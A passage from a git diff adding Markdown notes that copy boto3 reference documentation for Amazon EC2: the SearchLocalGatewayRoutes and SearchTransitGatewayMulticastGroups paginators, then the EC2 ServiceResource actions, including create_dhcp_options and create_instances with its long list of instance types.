Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/SearchLocalGatewayRoutes) + +**Request Syntax** + +response_iterator = paginator.paginate( + LocalGatewayRouteTableId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **LocalGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the local gateway route table. + +- **Filters** (_list_) -- + + **[REQUIRED]** + + One or more filters. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'LocalGatewayVirtualInterfaceGroupId': 'string', + 'Type': 'static'|'propagated', + 'State': 'pending'|'active'|'blackhole'|'deleting'|'deleted', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'OwnerId': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Routes** _(list) --_ + + Information about the routes. + + - _(dict) --_ + + Describes a route for a local gateway route table. + + - **DestinationCidrBlock** _(string) --_ + + The CIDR block used for destination matches. + + - **LocalGatewayVirtualInterfaceGroupId** _(string) --_ + + The ID of the virtual interface group. + + - **Type** _(string) --_ + + The route type. + + - **State** _(string) --_ + + The state of the route. + + - **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + - **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table. + + - **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route. + + +_class_ EC2.Paginator.SearchTransitGatewayMulticastGroups + +paginator = client.get_paginator('search_transit_gateway_multicast_groups') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.search_transit_gateway_multicast_groups()](#EC2.Client.search_transit_gateway_multicast_groups "EC2.Client.search_transit_gateway_multicast_groups"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/SearchTransitGatewayMulticastGroups) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayMulticastDomainId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - group-ip-address - The IP address of the transit gateway multicast group. + - is-group-member - The resource is a group member. Valid values are true | false . + - is-group-source - The resource is a group source. Valid values are true | false . + - member-type - The member type. Valid values are igmp | static . + - resource-id - The ID of the resource. + - resource-type - The type of resource. Valid values are vpc | vpn | direct-connect-gateway | tgw-peering . + - source-type - The source type. Valid values are igmp | static . + - state - The state of the subnet association. Valid values are associated | associated | disassociated | disassociating . + - subnet-id - The ID of the subnet. + - transit-gateway-attachment-id - The id of the transit gateway attachment. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'MulticastGroups': [ + { + 'GroupIpAddress': 'string', + 'TransitGatewayAttachmentId': 'string', + 'SubnetId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceOwnerId': 'string', + 'NetworkInterfaceId': 'string', + 'GroupMember': True|False, + 'GroupSource': True|False, + 'MemberType': 'static'|'igmp', + 'SourceType': 'static'|'igmp' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **MulticastGroups** _(list) --_ + + Information about the transit gateway multicast group. + + - _(dict) --_ + + Describes the transit gateway multicast group resources. + + - **GroupIpAddress** _(string) --_ + + The IP address assigned to the transit gateway multicast group. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway attachment. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + - **ResourceId** _(string) --_ + + The ID of the resource. + + - **ResourceType** _(string) --_ + + The type of resource, for example a VPC attachment. + + - **ResourceOwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway multicast domain group resource. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the transit gateway attachment. + + - **GroupMember** _(boolean) --_ + + Indicates that the resource is a transit gateway multicast group member. + + - **GroupSource** _(boolean) --_ + + Indicates that the resource is a transit gateway multicast group member. + + - **MemberType** _(string) --_ + + The member type (for example, static ). + + - **SourceType** _(string) --_ + + The source type. diff --git a/_posts/01Cloud/01AWS/0boto3code/ec2-4resource.md b/_posts/01Cloud/01AWS/0boto3code/ec2-4resource.md new file mode 100644 index 00000000000..986735b09b0 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/ec2-4resource.md @@ -0,0 +1,25318 @@ + +[toc] + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + - Client + - Paginators + - Waiters + - Service Resource + - ClassicAddress + - DhcpOptions + - Image + - Instance + - InternetGateway + - KeyPair + - KeyPairInfo + - NetworkAcl + - NetworkInterface + - NetworkInterfaceAssociation + - PlacementGroup + - Route e) + - RouteTable + - RouteTableAssociation + - SecurityGroup + - Snapshot + - Subnet + - Tag + - Volume + - Vpc + - VpcPeeringConnection + - VpcAddress + + +--- + + +# EC2 - Service Resource + +_class_ EC2.ServiceResource + +A resource representing Amazon Elastic Compute Cloud (EC2): + +import boto3 + +ec2 = boto3.resource('ec2') + +These are the resource's available actions: + +- [create_dhcp_options()](#EC2.ServiceResource.create_dhcp_options "EC2.ServiceResource.create_dhcp_options") +- [create_instances()](#EC2.ServiceResource.create_instances "EC2.ServiceResource.create_instances") +- [create_internet_gateway()](#EC2.ServiceResource.create_internet_gateway "EC2.ServiceResource.create_internet_gateway") +- [create_key_pair()](#EC2.ServiceResource.create_key_pair "EC2.ServiceResource.create_key_pair") +- [create_network_acl()](#EC2.ServiceResource.create_network_acl "EC2.ServiceResource.create_network_acl") +- [create_network_interface()](#EC2.ServiceResource.create_network_interface "EC2.ServiceResource.create_network_interface") +- [create_placement_group()](#EC2.ServiceResource.create_placement_group "EC2.ServiceResource.create_placement_group") +- [create_route_table()](#EC2.ServiceResource.create_route_table "EC2.ServiceResource.create_route_table") +- [create_security_group()](#EC2.ServiceResource.create_security_group "EC2.ServiceResource.create_security_group") +- [create_snapshot()](#EC2.ServiceResource.create_snapshot "EC2.ServiceResource.create_snapshot") +- [create_subnet()](#EC2.ServiceResource.create_subnet "EC2.ServiceResource.create_subnet") +- [create_tags()](#EC2.ServiceResource.create_tags "EC2.ServiceResource.create_tags") +- [create_volume()](#EC2.ServiceResource.create_volume "EC2.ServiceResource.create_volume") +- [create_vpc()](#EC2.ServiceResource.create_vpc "EC2.ServiceResource.create_vpc") +- [create_vpc_peering_connection()](#EC2.ServiceResource.create_vpc_peering_connection "EC2.ServiceResource.create_vpc_peering_connection") +- [disassociate_route_table()](#EC2.ServiceResource.disassociate_route_table "EC2.ServiceResource.disassociate_route_table") +- [get_available_subresources()](#EC2.ServiceResource.get_available_subresources "EC2.ServiceResource.get_available_subresources") +- [import_key_pair()](#EC2.ServiceResource.import_key_pair "EC2.ServiceResource.import_key_pair") +- [register_image()](#EC2.ServiceResource.register_image "EC2.ServiceResource.register_image") + +These are the resource's available sub-resources: + +- [ClassicAddress()](#EC2.ServiceResource.ClassicAddress "EC2.ServiceResource.ClassicAddress") +- [DhcpOptions()](#EC2.ServiceResource.DhcpOptions "EC2.ServiceResource.DhcpOptions") +- [Image()](#EC2.ServiceResource.Image "EC2.ServiceResource.Image") +- [Instance()](#EC2.ServiceResource.Instance "EC2.ServiceResource.Instance") +- [InternetGateway()](#EC2.ServiceResource.InternetGateway "EC2.ServiceResource.InternetGateway") +- [KeyPair()](#EC2.ServiceResource.KeyPair "EC2.ServiceResource.KeyPair") +- [NetworkAcl()](#EC2.ServiceResource.NetworkAcl "EC2.ServiceResource.NetworkAcl") +- [NetworkInterface()](#EC2.ServiceResource.NetworkInterface "EC2.ServiceResource.NetworkInterface") +- [NetworkInterfaceAssociation()](#EC2.ServiceResource.NetworkInterfaceAssociation "EC2.ServiceResource.NetworkInterfaceAssociation") +- [PlacementGroup()](#EC2.ServiceResource.PlacementGroup "EC2.ServiceResource.PlacementGroup") +- [Route()](#EC2.ServiceResource.Route "EC2.ServiceResource.Route") +- [RouteTable()](#EC2.ServiceResource.RouteTable "EC2.ServiceResource.RouteTable") +- [RouteTableAssociation()](#EC2.ServiceResource.RouteTableAssociation "EC2.ServiceResource.RouteTableAssociation") +- [SecurityGroup()](#EC2.ServiceResource.SecurityGroup "EC2.ServiceResource.SecurityGroup") +- [Snapshot()](#EC2.ServiceResource.Snapshot "EC2.ServiceResource.Snapshot") +- [Subnet()](#EC2.ServiceResource.Subnet "EC2.ServiceResource.Subnet") +- [Tag()](#EC2.ServiceResource.Tag "EC2.ServiceResource.Tag") +- [Volume()](#EC2.ServiceResource.Volume "EC2.ServiceResource.Volume") +- [Vpc()](#EC2.ServiceResource.Vpc "EC2.ServiceResource.Vpc") +- [VpcAddress()](#EC2.ServiceResource.VpcAddress "EC2.ServiceResource.VpcAddress") +- [VpcPeeringConnection()](#EC2.ServiceResource.VpcPeeringConnection "EC2.ServiceResource.VpcPeeringConnection") + +These are the resource's available collections: + +- [classic_addresses](#EC2.ServiceResource.classic_addresses "EC2.ServiceResource.classic_addresses") +- [dhcp_options_sets](#EC2.ServiceResource.dhcp_options_sets "EC2.ServiceResource.dhcp_options_sets") +- [images](#EC2.ServiceResource.images "EC2.ServiceResource.images") +- [instances](#EC2.ServiceResource.instances "EC2.ServiceResource.instances") +- [internet_gateways](#EC2.ServiceResource.internet_gateways "EC2.ServiceResource.internet_gateways") +- [key_pairs](#EC2.ServiceResource.key_pairs "EC2.ServiceResource.key_pairs") +- [network_acls](#EC2.ServiceResource.network_acls "EC2.ServiceResource.network_acls") +- [network_interfaces](#EC2.ServiceResource.network_interfaces "EC2.ServiceResource.network_interfaces") +- [placement_groups](#EC2.ServiceResource.placement_groups "EC2.ServiceResource.placement_groups") +- [route_tables](#EC2.ServiceResource.route_tables "EC2.ServiceResource.route_tables") +- [security_groups](#EC2.ServiceResource.security_groups "EC2.ServiceResource.security_groups") +- [snapshots](#EC2.ServiceResource.snapshots "EC2.ServiceResource.snapshots") +- [subnets](#EC2.ServiceResource.subnets "EC2.ServiceResource.subnets") +- [volumes](#EC2.ServiceResource.volumes "EC2.ServiceResource.volumes") +- [vpc_addresses](#EC2.ServiceResource.vpc_addresses "EC2.ServiceResource.vpc_addresses") +- [vpc_peering_connections](#EC2.ServiceResource.vpc_peering_connections "EC2.ServiceResource.vpc_peering_connections") +- [vpcs](#EC2.ServiceResource.vpcs "EC2.ServiceResource.vpcs") + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_dhcp_options(kwargs_) + +Creates a set of DHCP options for your VPC. After creating the set, you must associate it with the VPC, causing all existing and new instances that you launch in the VPC to use this set of DHCP options. The following are the individual DHCP options you can specify. For more information about the options, see [RFC 2132](https://www.ietf.org/rfc/rfc2132.txt) . + +- domain-name-servers - The IP addresses of up to four domain name servers, or AmazonProvidedDNS. The default DHCP option set specifies AmazonProvidedDNS. If specifying more than one domain name server, specify the IP addresses in a single parameter, separated by commas. To have your instance receive a custom DNS hostname as specified in domain-name , you must set domain-name-servers to a custom DNS server. +- domain-name - If you're using AmazonProvidedDNS in us-east-1 , specify ec2.internal . If you're using AmazonProvidedDNS in another Region, specify region.compute.internal (for example, ap-northeast-1.compute.internal ). Otherwise, specify a domain name (for example, ExampleCompany.com ). This value is used to complete unqualified DNS hostnames. **Important** : Some Linux operating systems accept multiple domain names separated by spaces. However, Windows and other Linux operating systems treat the value as a single domain, which results in unexpected behavior. If your DHCP options set is associated with a VPC that has instances with multiple operating systems, specify only one domain name. +- ntp-servers - The IP addresses of up to four Network Time Protocol (NTP) servers. +- netbios-name-servers - The IP addresses of up to four NetBIOS name servers. +- netbios-node-type - The NetBIOS node type (1, 2, 4, or 8). We recommend that you specify 2 (broadcast and multicast are not currently supported). For more information about these node types, see [RFC 2132](https://www.ietf.org/rfc/rfc2132.txt) . + +Your VPC automatically starts out with a set of DHCP options that includes only a DNS server that we provide (AmazonProvidedDNS). If you create a set of options, and if your VPC has an internet gateway, make sure to set the domain-name-servers option either to AmazonProvidedDNS or to a domain name server of your choice. For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateDhcpOptions) + +**Request Syntax** + +dhcp_options = ec2.create_dhcp_options( + DhcpConfigurations=[ + { + 'Key': 'string', + 'Values': [ + 'string', + ] + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +- **DhcpConfigurations** (_list_) -- + + **[REQUIRED]** + + A DHCP configuration option. + + - _(dict) --_ + - **Key** _(string) --_ + - **Values** _(list) --_ + - _(string) --_ +- **TagSpecifications** (_list_) -- + + The tags to assign to the DHCP option. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id801)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id803)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.DhcpOptions + +Returns + +DhcpOptions resource + +create_instances(kwargs_) + +Launches the specified number of instances using an AMI for which you have permissions. + +You can specify a number of options, or leave the default options. The following rules apply: + +- [EC2-VPC] If you don't specify a subnet ID, we choose a default subnet from your default VPC for you. If you don't have a default VPC, you must specify a subnet ID in the request. +- [EC2-Classic] If don't specify an Availability Zone, we choose one for you. +- Some instance types must be launched into a VPC. If you do not have a default VPC, or if you do not specify a subnet ID, the request fails. For more information, see [Instance types available only in a VPC](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html#vpc-only-instance-types) . +- [EC2-VPC] All instances have a network interface with a primary private IPv4 address. If you don't specify this address, we choose one from the IPv4 range of your subnet. +- Not all instance types support IPv6 addresses. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . +- If you don't specify a security group ID, we use the default security group. For more information, see [Security groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) . +- If any of the AMIs have a product code attached for which the user has not subscribed, the request fails. + +You can create a [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html) , which is a resource that contains the parameters to launch an instance. When you launch an instance using RunInstances , you can specify the launch template instead of specifying the launch parameters. + +To ensure faster instance launches, break up large requests into smaller batches. For example, create five separate launch requests for 100 instances each instead of one launch request for 500 instances. + +An instance is ready for you to use when it's in the running state. You can check the state of your instance using DescribeInstances . You can tag instances and EBS volumes during launch, after launch, or both. For more information, see CreateTags and [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) . + +Linux instances have access to the public key of the key pair at boot. You can use this key to provide secure access to the instance. Amazon EC2 public images use this feature to provide secure access without passwords. For more information, see [Key pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For troubleshooting, see [What to do if an instance immediately terminates](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_InstanceStraightToTerminated.html) , and [Troubleshooting connecting to your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RunInstances) + +**Request Syntax** + +instance = ec2.create_instances( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + ImageId='string', + InstanceType='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + KernelId='string', + KeyName='string', + MaxCount=123, + MinCount=123, + Monitoring={ + 'Enabled': True|False + }, + Placement={ + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 